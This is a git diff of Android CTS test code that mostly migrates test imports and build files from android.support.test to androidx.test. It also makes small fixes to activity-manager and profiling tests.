+            TimeZone.setDefault(mDefaultTimeZone);
+            Authenticator.setDefault(null);
+            CookieHandler.setDefault(null);
+            ResponseCache.setDefault(null);
+            HttpsURLConnection.setDefaultHostnameVerifier(mHostnameVerifier);
+            HttpsURLConnection.setDefaultSSLSocketFactory(mSslSocketFactory);
+            setDateFormatIs24Hour(mDefaultIs24Hour);
+        }
+
+        private static Boolean getDateFormatIs24Hour() {
+            try {
+                return (Boolean) sDateFormatIs24HourField.get(null);
+            } catch (ReflectiveOperationException e) {
+                throw new AssertionError("Unable to get java.text.DateFormat.is24Hour", e);
+            }
+        }
+
+        private static void setDateFormatIs24Hour(Boolean value) {
+            try {
+                sDateFormatIs24HourField.set(null, value);
+            } catch (ReflectiveOperationException e) {
+                throw new AssertionError("Unable to set java.text.DateFormat.is24Hour", e);
+            }
+        }
+    }
+
+}
diff --git a/tests/filesystem/Android.mk b/tests/filesystem/Android.mk
index b6f1f7d..de5a831 100644
--- a/tests/filesystem/Android.mk
+++ b/tests/filesystem/Android.mk
@@ -18,7 +18,7 @@
 # don't include this package in any target
 LOCAL_MODULE_TAGS := optional
 
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/filesystem/AndroidManifest.xml b/tests/filesystem/AndroidManifest.xml
index f76ea53..d203a1a 100644
--- a/tests/filesystem/AndroidManifest.xml
+++ b/tests/filesystem/AndroidManifest.xml
@@ -24,7 +24,7 @@
     <application>
         <uses-library android:name="android.test.runner" />
     </application>
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
             android:targetPackage="android.filesystem.cts"
             android:label="CTS tests for file system" />
 </manifest>
diff --git a/tests/filesystem/src/android/filesystem/cts/AlmostFullTest.java b/tests/filesystem/src/android/filesystem/cts/AlmostFullTest.java
index d75ebbf..1e2fc7c 100644
--- a/tests/filesystem/src/android/filesystem/cts/AlmostFullTest.java
+++ b/tests/filesystem/src/android/filesystem/cts/AlmostFullTest.java
@@ -16,14 +16,16 @@
 
 package android.filesystem.cts;
 
-import static android.support.test.InstrumentationRegistry.getContext;
-import static android.support.test.InstrumentationRegistry.getInstrumentation;
+import static androidx.test.InstrumentationRegistry.getContext;
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.DeviceReportLog;
 import com.android.compatibility.common.util.SystemUtil;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java b/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java
index a58b397..1c46339 100644
--- a/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java
+++ b/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java
@@ -16,14 +16,16 @@
 
 package android.filesystem.cts;
 
-import static android.support.test.InstrumentationRegistry.getContext;
-import static android.support.test.InstrumentationRegistry.getInstrumentation;
+import static androidx.test.InstrumentationRegistry.getContext;
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
 import android.os.Environment;
 
-import android.support.test.runner.AndroidJUnit4;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.DeviceReportLog;
+
 import org.junit.After;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java b/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
index 4e7b3f0..6735eba 100644
--- a/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
+++ b/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
@@ -16,11 +16,12 @@
 
 package android.filesystem.cts;
 
-import static android.support.test.InstrumentationRegistry.getContext;
-import static android.support.test.InstrumentationRegistry.getInstrumentation;
+import static androidx.test.InstrumentationRegistry.getContext;
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
-import android.support.test.runner.AndroidJUnit4;
+import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.DeviceReportLog;
 import com.android.compatibility.common.util.MeasureRun;
 import com.android.compatibility.common.util.MeasureTime;
@@ -28,7 +29,6 @@
 import com.android.compatibility.common.util.ResultUnit;
 import com.android.compatibility.common.util.Stat;
 
-import com.android.compatibility.common.util.CddTest;
 import org.junit.After;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/fragment/Android.mk b/tests/fragment/Android.mk
index 94a4d91..3e545d4 100644
--- a/tests/fragment/Android.mk
+++ b/tests/fragment/Android.mk
@@ -29,13 +29,13 @@
 LOCAL_PROGUARD_ENABLED := disabled
 
 LOCAL_STATIC_JAVA_LIBRARIES += \
-    android-support-test \
+    androidx.test.rules \
     mockito-target-minus-junit4 \
     android-common \
-    compatibility-device-util \
-    ctstestrunner
+    compatibility-device-util-axt \
+    ctstestrunner-axt
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-#LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util android-support-test
+#LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt androidx.test.rules
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/fragment/AndroidManifest.xml b/tests/fragment/AndroidManifest.xml
index 6b43606b..447f9a8 100644
--- a/tests/fragment/AndroidManifest.xml
+++ b/tests/fragment/AndroidManifest.xml
@@ -33,7 +33,7 @@
         <activity android:name=".ConfigOnStopActivity"/>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.fragment.cts"
                      android:label="CTS tests of android.app Fragments" />
 
diff --git a/tests/fragment/sdk26/Android.mk b/tests/fragment/sdk26/Android.mk
index 5947137..a2d2570 100644
--- a/tests/fragment/sdk26/Android.mk
+++ b/tests/fragment/sdk26/Android.mk
@@ -28,7 +28,7 @@
 
 LOCAL_PROGUARD_ENABLED := disabled
 
-LOCAL_STATIC_JAVA_LIBRARIES += android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES += androidx.test.rules
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/fragment/sdk26/AndroidManifest.xml b/tests/fragment/sdk26/AndroidManifest.xml
index ade9fff..1885bb6 100644
--- a/tests/fragment/sdk26/AndroidManifest.xml
+++ b/tests/fragment/sdk26/AndroidManifest.xml
@@ -22,7 +22,7 @@
         <activity android:name=".NonConfigOnStopActivity"/>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.fragment.cts.sdk26"
                      android:label="CTS tests of android.app Fragments" />
 </manifest>
diff --git a/tests/fragment/sdk26/src/android/fragment/cts/sdk26/FragmentManagerNonConfigTest.java b/tests/fragment/sdk26/src/android/fragment/cts/sdk26/FragmentManagerNonConfigTest.java
index a7859b6..32aae95 100644
--- a/tests/fragment/sdk26/src/android/fragment/cts/sdk26/FragmentManagerNonConfigTest.java
+++ b/tests/fragment/sdk26/src/android/fragment/cts/sdk26/FragmentManagerNonConfigTest.java
@@ -18,11 +18,9 @@
 
 import static org.junit.Assert.assertTrue;
 
-import android.os.Debug;
-import android.support.test.filters.MediumTest;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/fragment/src/android/fragment/cts/FragmentAnimatorTest.java b/tests/fragment/src/android/fragment/cts/FragmentAnimatorTest.java
index f99bb0b..0a62b3b 100644
--- a/tests/fragment/src/android/fragment/cts/FragmentAnimatorTest.java
+++ b/tests/fragment/src/android/fragment/cts/FragmentAnimatorTest.java
@@ -29,13 +29,14 @@
 import android.app.FragmentManager;
 import android.app.FragmentManagerNonConfig;
 import android.os.Parcelable;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Pair;
 import android.view.View;
 import android.view.animation.TranslateAnimation;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/fragment/src/android/fragment/cts/FragmentExecuteTests.java b/tests/fragment/src/android/fragment/cts/FragmentExecuteTests.java
index 6e6cda9..739f359 100644
--- a/tests/fragment/src/android/fragment/cts/FragmentExecuteTests.java
+++ b/tests/fragment/src/android/fragment/cts/FragmentExecuteTests.java
@@ -22,13 +22,12 @@
 import static org.junit.Assert.assertTrue;
 
 import android.app.FragmentManager;
-import android.app.Instrumentation;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.ViewGroup;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/fragment/src/android/fragment/cts/FragmentLifecycleTest.java b/tests/fragment/src/android/fragment/cts/FragmentLifecycleTest.java
index c1fd9d8..22c438c 100644
--- a/tests/fragment/src/android/fragment/cts/FragmentLifecycleTest.java
+++ b/tests/fragment/src/android/fragment/cts/FragmentLifecycleTest.java
@@ -41,8 +41,6 @@
 import android.content.Intent;
 import android.os.Bundle;
 import android.os.Parcelable;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.test.suitebuilder.annotation.MediumTest;
 import android.util.Pair;
 import android.view.LayoutInflater;
@@ -52,6 +50,9 @@
 import android.view.Window;
 import android.widget.TextView;
 
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/fragment/src/android/fragment/cts/FragmentManagerConfigTest.java b/tests/fragment/src/android/fragment/cts/FragmentManagerConfigTest.java
index 519588c..50d7238 100644
--- a/tests/fragment/src/android/fragment/cts/FragmentManagerConfigTest.java
+++ b/tests/fragment/src/android/fragment/cts/FragmentManagerConfigTest.java
@@ -17,9 +17,9 @@
 
 import static org.junit.Assert.assertFalse;
 
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/fragment/src/android/fragment/cts/FragmentReorderingTest.java b/tests/fragment/src/android/fragment/cts/FragmentReorderingTest.java
index f1c6b9f..291dffb 100644
--- a/tests/fragment/src/android/fragment/cts/FragmentReorderingTest.java
+++ b/tests/fragment/src/android/fragment/cts/FragmentReorderingTest.java
@@ -20,11 +20,12 @@
 import static org.junit.Assert.assertTrue;
 
 import android.app.FragmentManager;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.ViewGroup;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/fragment/src/android/fragment/cts/FragmentTestUtil.java b/tests/fragment/src/android/fragment/cts/FragmentTestUtil.java
index 62c4906..deb3723 100644
--- a/tests/fragment/src/android/fragment/cts/FragmentTestUtil.java
+++ b/tests/fragment/src/android/fragment/cts/FragmentTestUtil.java
@@ -25,12 +25,13 @@
 import android.app.FragmentManagerNonConfig;
 import android.os.Looper;
 import android.os.Parcelable;
-import android.support.test.rule.ActivityTestRule;
 import android.util.Pair;
 import android.view.View;
 import android.view.ViewGroup;
 import android.view.accessibility.AccessibilityNodeInfo;
 
+import androidx.test.rule.ActivityTestRule;
+
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
diff --git a/tests/fragment/src/android/fragment/cts/FragmentTransactionTest.java b/tests/fragment/src/android/fragment/cts/FragmentTransactionTest.java
index 2a532d7..55b7809 100644
--- a/tests/fragment/src/android/fragment/cts/FragmentTransactionTest.java
+++ b/tests/fragment/src/android/fragment/cts/FragmentTransactionTest.java
@@ -32,14 +32,15 @@
 import android.content.Intent;
 import android.os.Bundle;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.LayoutInflater;
 import android.view.View;
 import android.view.ViewGroup;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Rule;
diff --git a/tests/fragment/src/android/fragment/cts/FragmentTransitionTest.java b/tests/fragment/src/android/fragment/cts/FragmentTransitionTest.java
index 6f63e98..809bc5e 100644
--- a/tests/fragment/src/android/fragment/cts/FragmentTransitionTest.java
+++ b/tests/fragment/src/android/fragment/cts/FragmentTransitionTest.java
@@ -30,11 +30,12 @@
 import android.app.SharedElementCallback;
 import android.graphics.Rect;
 import android.os.Bundle;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
 import android.transition.TransitionSet;
 import android.view.View;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+
 import com.android.compatibility.common.util.transition.TargetTracking;
 import com.android.compatibility.common.util.transition.TrackingTransition;
 
diff --git a/tests/fragment/src/android/fragment/cts/FragmentViewTests.java b/tests/fragment/src/android/fragment/cts/FragmentViewTests.java
index 927552d..78521ef 100644
--- a/tests/fragment/src/android/fragment/cts/FragmentViewTests.java
+++ b/tests/fragment/src/android/fragment/cts/FragmentViewTests.java
@@ -24,14 +24,14 @@
 import android.app.Fragment;
 import android.app.FragmentManager;
 import android.os.Bundle;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.LayoutInflater;
 import android.view.View;
 import android.view.ViewGroup;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/fragment/src/android/fragment/cts/LoaderTest.java b/tests/fragment/src/android/fragment/cts/LoaderTest.java
index fbf4258..fd6186d 100755
--- a/tests/fragment/src/android/fragment/cts/LoaderTest.java
+++ b/tests/fragment/src/android/fragment/cts/LoaderTest.java
@@ -28,10 +28,11 @@
 import android.content.Loader;
 import android.os.Bundle;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/fragment/src/android/fragment/cts/NestedInflatedFragmentTest.java b/tests/fragment/src/android/fragment/cts/NestedInflatedFragmentTest.java
index 15dff81..4fc65b9 100644
--- a/tests/fragment/src/android/fragment/cts/NestedInflatedFragmentTest.java
+++ b/tests/fragment/src/android/fragment/cts/NestedInflatedFragmentTest.java
@@ -20,16 +20,16 @@
 import android.app.Fragment;
 import android.app.FragmentManager;
 import android.os.Bundle;
-import androidx.annotation.Nullable;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.LayoutInflater;
 import android.view.View;
 import android.view.ViewGroup;
 import android.widget.TextView;
 
+import androidx.annotation.Nullable;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/fragment/src/android/fragment/cts/PostponedTransitionTest.java b/tests/fragment/src/android/fragment/cts/PostponedTransitionTest.java
index dbdf94d..33406df 100644
--- a/tests/fragment/src/android/fragment/cts/PostponedTransitionTest.java
+++ b/tests/fragment/src/android/fragment/cts/PostponedTransitionTest.java
@@ -28,14 +28,15 @@
 import android.app.FragmentManagerNonConfig;
 import android.os.Bundle;
 import android.os.Parcelable;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Pair;
 import android.view.LayoutInflater;
 import android.view.View;
 import android.view.ViewGroup;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/fragment/src/android/fragment/cts/PrimaryNavFragmentTest.java b/tests/fragment/src/android/fragment/cts/PrimaryNavFragmentTest.java
index c5c11cf..7268b56 100644
--- a/tests/fragment/src/android/fragment/cts/PrimaryNavFragmentTest.java
+++ b/tests/fragment/src/android/fragment/cts/PrimaryNavFragmentTest.java
@@ -17,18 +17,21 @@
 
 package android.fragment.cts;
 
+import static android.fragment.cts.FragmentTestUtil.executePendingTransactions;
+import static android.fragment.cts.FragmentTestUtil.popBackStackImmediate;
+
+import static junit.framework.TestCase.*;
+
 import android.app.FragmentManager;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.test.suitebuilder.annotation.MediumTest;
+
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import static android.fragment.cts.FragmentTestUtil.executePendingTransactions;
-import static android.fragment.cts.FragmentTestUtil.popBackStackImmediate;
-import static junit.framework.TestCase.*;
-
 @MediumTest
 @RunWith(AndroidJUnit4.class)
 public class PrimaryNavFragmentTest {
diff --git a/tests/fragment/src/android/fragment/cts/RecreatedActivity.java b/tests/fragment/src/android/fragment/cts/RecreatedActivity.java
index 833d532..6c80168 100644
--- a/tests/fragment/src/android/fragment/cts/RecreatedActivity.java
+++ b/tests/fragment/src/android/fragment/cts/RecreatedActivity.java
@@ -19,7 +19,8 @@
 
 import android.app.Activity;
 import android.os.Bundle;
-import android.support.test.rule.ActivityTestRule;
+
+import androidx.test.rule.ActivityTestRule;
 
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
diff --git a/tests/framework/base/activitymanager/Android.mk b/tests/framework/base/activitymanager/Android.mk
index 19cd50c..b832fe1 100644
--- a/tests/framework/base/activitymanager/Android.mk
+++ b/tests/framework/base/activitymanager/Android.mk
@@ -36,7 +36,7 @@
     $(call all-named-files-under,Components.java, translucentappsdk26) \
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
+    androidx.test.rules hamcrest-library \
     cts-amwm-util
 
 LOCAL_CTS_TEST_PACKAGE := android.server
diff --git a/tests/framework/base/activitymanager/AndroidManifest.xml b/tests/framework/base/activitymanager/AndroidManifest.xml
old mode 100644
new mode 100755
index 5b9672b..1f8ca8a
--- a/tests/framework/base/activitymanager/AndroidManifest.xml
+++ b/tests/framework/base/activitymanager/AndroidManifest.xml
@@ -23,6 +23,7 @@
     <uses-permission android:name="android.permission.MANAGE_ACTIVITY_STACKS" />
     <uses-permission android:name="android.permission.ACTIVITY_EMBEDDING" />
     <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
+    <uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES" />
 
     <application android:label="CtsActivityManagerDeviceTestCases">
         <uses-library android:name="android.test.runner" />
@@ -86,7 +87,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests of ActivityManager"
         android:targetPackage="android.server.cts.am" />
 
diff --git a/tests/framework/base/activitymanager/app/AndroidManifest.xml b/tests/framework/base/activitymanager/app/AndroidManifest.xml
index c977b37..2b91190 100755
--- a/tests/framework/base/activitymanager/app/AndroidManifest.xml
+++ b/tests/framework/base/activitymanager/app/AndroidManifest.xml
@@ -179,10 +179,10 @@
                   android:resizeableActivity="true"
                   android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
                   android:exported="true">
-                  <layout android:defaultWidth="25%"
-                          android:defaultHeight="35%"
+                  <layout android:defaultWidth="50%"
+                          android:defaultHeight="70%"
                           android:gravity="top|right"
-                          android:minWidth="90dp"
+                          android:minWidth="50dp"
                           android:minHeight="80dp"
                   />
         </activity>
@@ -190,10 +190,10 @@
                   android:resizeableActivity="true"
                   android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
                   android:exported="true">
-                  <layout android:defaultWidth="25%"
-                          android:defaultHeight="35%"
+                  <layout android:defaultWidth="50%"
+                          android:defaultHeight="70%"
                           android:gravity="bottom|left"
-                          android:minWidth="90dp"
+                          android:minWidth="50dp"
                           android:minHeight="80dp"
                   />
         </activity>
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/AssistantVoiceInteractionService.java b/tests/framework/base/activitymanager/app/src/android/server/am/AssistantVoiceInteractionService.java
index b772ce2..30f7a85 100644
--- a/tests/framework/base/activitymanager/app/src/android/server/am/AssistantVoiceInteractionService.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/AssistantVoiceInteractionService.java
@@ -29,10 +29,14 @@
 
     private boolean mReady;
 
+    private boolean mStarted;
+    private Bundle mExtras;
+
     @Override
     public void onReady() {
         super.onReady();
         mReady = true;
+        showSessionIfReady();
     }
 
     @Override
@@ -43,13 +47,18 @@
             stopSelf();
             return START_NOT_STICKY;
         }
-        if (mReady) {
-            Bundle extras = intent.getExtras() != null ? intent.getExtras() : new Bundle();
-            showSession(extras, 0);
-        }
+        mExtras = intent.getExtras() != null ? intent.getExtras() : new Bundle();
+        mStarted = true;
+        showSessionIfReady();
         return START_NOT_STICKY;
     }
 
+    private void showSessionIfReady() {
+        if (mReady && mStarted) {
+            showSession(mExtras, 0);
+        }
+    };
+
     /**
      * Starts the assistant voice interaction service, which initiates a new session that starts
      * the assistant activity.
diff --git a/tests/framework/base/activitymanager/app_base/Android.mk b/tests/framework/base/activitymanager/app_base/Android.mk
index 99a584c..fc2983b 100644
--- a/tests/framework/base/activitymanager/app_base/Android.mk
+++ b/tests/framework/base/activitymanager/app_base/Android.mk
@@ -6,7 +6,7 @@
 LOCAL_MODULE_TAGS := tests
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
+    androidx.test.rules \
     cts-amwm-util \
 
 LOCAL_SRC_FILES := \
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
index 1ea220a..853c0bd 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
@@ -238,6 +238,8 @@
         // Launch a different activity on top.
         launchActivity(BROADCAST_RECEIVER_ACTIVITY);
         mAmWmState.waitForActivityState(BROADCAST_RECEIVER_ACTIVITY, STATE_RESUMED);
+        // Wait for transition complete.
+        mAmWmState.waitForValidState(MOVE_TASK_TO_BACK_ACTIVITY);
         final boolean shouldBeVisible =
                 !mAmWmState.getAmState().isBehindOpaqueActivities(MOVE_TASK_TO_BACK_ACTIVITY);
         mAmWmState.assertVisibility(MOVE_TASK_TO_BACK_ACTIVITY, shouldBeVisible);
@@ -442,6 +444,11 @@
             logSeparator = separateLogs();
             launchActivity(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY);
             mAmWmState.assertVisibility(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY, true);
+            // Wait more for display state change since turning the display ON may take longer
+            // and reported after the activity launch.
+            mAmWmState.waitFor(
+                    "***Waiting for display to turn on...",
+                    ()->{ return isDisplayOn(); });
             assertTrue("Display turns on", isDisplayOn());
             assertSingleStart(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY, logSeparator);
         }
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmProfileTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmProfileTests.java
index 6f2ec8d..74f4546 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmProfileTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmProfileTests.java
@@ -26,14 +26,9 @@
 import static org.junit.Assert.assertTrue;
 
 import android.content.ComponentName;
-import android.support.test.InstrumentationRegistry;
 
-import org.junit.Before;
 import org.junit.Test;
 
-import java.io.File;
-import java.io.FileInputStream;
-
 /**
  * Build/Install/Run:
  *     atest CtsActivityManagerDeviceTestCases:ActivityManagerAmProfileTests
@@ -46,17 +41,6 @@
     private static final String FIRST_WORD_NO_STREAMING = "*version\n";
     private static final String FIRST_WORD_STREAMING = "SLOW";  // Magic word set by runtime.
 
-    private String mReadableFilePath = null;
-
-    @Before
-    @Override
-    public void setUp() throws Exception {
-        super.setUp();
-        mReadableFilePath = InstrumentationRegistry.getContext()
-            .getExternalFilesDir(null)
-            .getPath() + "/profile.trace";
-    }
-
     /**
      * Test am profile functionality with the following 3 configurable options:
      *    starting the activity before start profiling? yes;
@@ -122,10 +106,11 @@
         launchActivity(DEBUGGABLE_APP_ACTIVITY);
 
         executeShellCommand(getStopProfileCmd(DEBUGGABLE_APP_ACTIVITY));
-        // Sleep for 0.1 second (100 milliseconds) so the generation of the profiling
+
+        // Sleep for 0.3 second (300 milliseconds) so the generation of the profiling
         // file is complete.
         try {
-            Thread.sleep(100);
+            Thread.sleep(300);
         } catch (InterruptedException e) {
             //ignored
         }
@@ -160,28 +145,17 @@
 
     private void verifyOutputFileFormat(final boolean streaming) throws Exception {
         // This is a hack. The am service has to write to /data/local/tmp because it doesn't have
-        // access to the sdcard but the test app can't read there
-        executeShellCommand("mv " + OUTPUT_FILE_PATH + " " + mReadableFilePath);
+        // access to the sdcard. The test cannot read from /data/local/tmp. This allows us to
+        // scan the content to validate what is needed for this test.
+        final String firstLine = executeShellCommand("head -1 " + OUTPUT_FILE_PATH);
 
         final String expectedFirstWord = streaming ? FIRST_WORD_STREAMING : FIRST_WORD_NO_STREAMING;
-        final byte[] data = readFile(mReadableFilePath);
-        assertThat("data size", data.length, greaterThanOrEqualTo(expectedFirstWord.length()));
-        final String actualFirstWord = new String(data, 0, expectedFirstWord.length());
+        assertThat(
+                "data size", firstLine.length(), greaterThanOrEqualTo(expectedFirstWord.length()));
+        final String actualFirstWord = firstLine.substring(0, expectedFirstWord.length());
         assertEquals("Unexpected first word", expectedFirstWord, actualFirstWord);
 
         // Clean up.
-        executeShellCommand("rm -f " + OUTPUT_FILE_PATH + " " + mReadableFilePath);
-    }
-
-    private static byte[] readFile(String clientPath) throws Exception {
-        final File file = new File(clientPath);
-        assertTrue("File not found on client: " + clientPath, file.isFile());
-        final int size = (int) file.length();
-        final byte[] bytes = new byte[size];
-        try (final FileInputStream fis = new FileInputStream(file)) {
-            final int readSize = fis.read(bytes, 0, bytes.length);
-            assertEquals("Read all data", bytes.length, readSize);
-            return bytes;
-        }
+        executeShellCommand("rm -f " + OUTPUT_FILE_PATH);
     }
 }
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAppConfigurationTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAppConfigurationTests.java
index 44281b2..786c9c5 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAppConfigurationTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAppConfigurationTests.java
@@ -36,7 +36,6 @@
 import static android.server.am.Components.PORTRAIT_ORIENTATION_ACTIVITY;
 import static android.server.am.Components.RESIZEABLE_ACTIVITY;
 import static android.server.am.Components.TEST_ACTIVITY;
-import static android.server.am.StateLogger.log;
 import static android.server.am.StateLogger.logE;
 import static android.server.am.translucentapp.Components.TRANSLUCENT_LANDSCAPE_ACTIVITY;
 import static android.server.am.translucentapp26.Components.SDK26_TRANSLUCENT_LANDSCAPE_ACTIVITY;
@@ -45,6 +44,8 @@
 import static android.view.Surface.ROTATION_270;
 import static android.view.Surface.ROTATION_90;
 
+import static com.android.compatibility.common.util.PackageUtil.supportsRotation;
+
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.lessThan;
 import static org.junit.Assert.assertEquals;
@@ -59,7 +60,8 @@
 import android.content.ComponentName;
 import android.graphics.Rect;
 import android.platform.test.annotations.Presubmit;
-import android.support.test.filters.FlakyTest;
+
+import androidx.test.filters.FlakyTest;
 
 import org.junit.Ignore;
 import org.junit.Test;
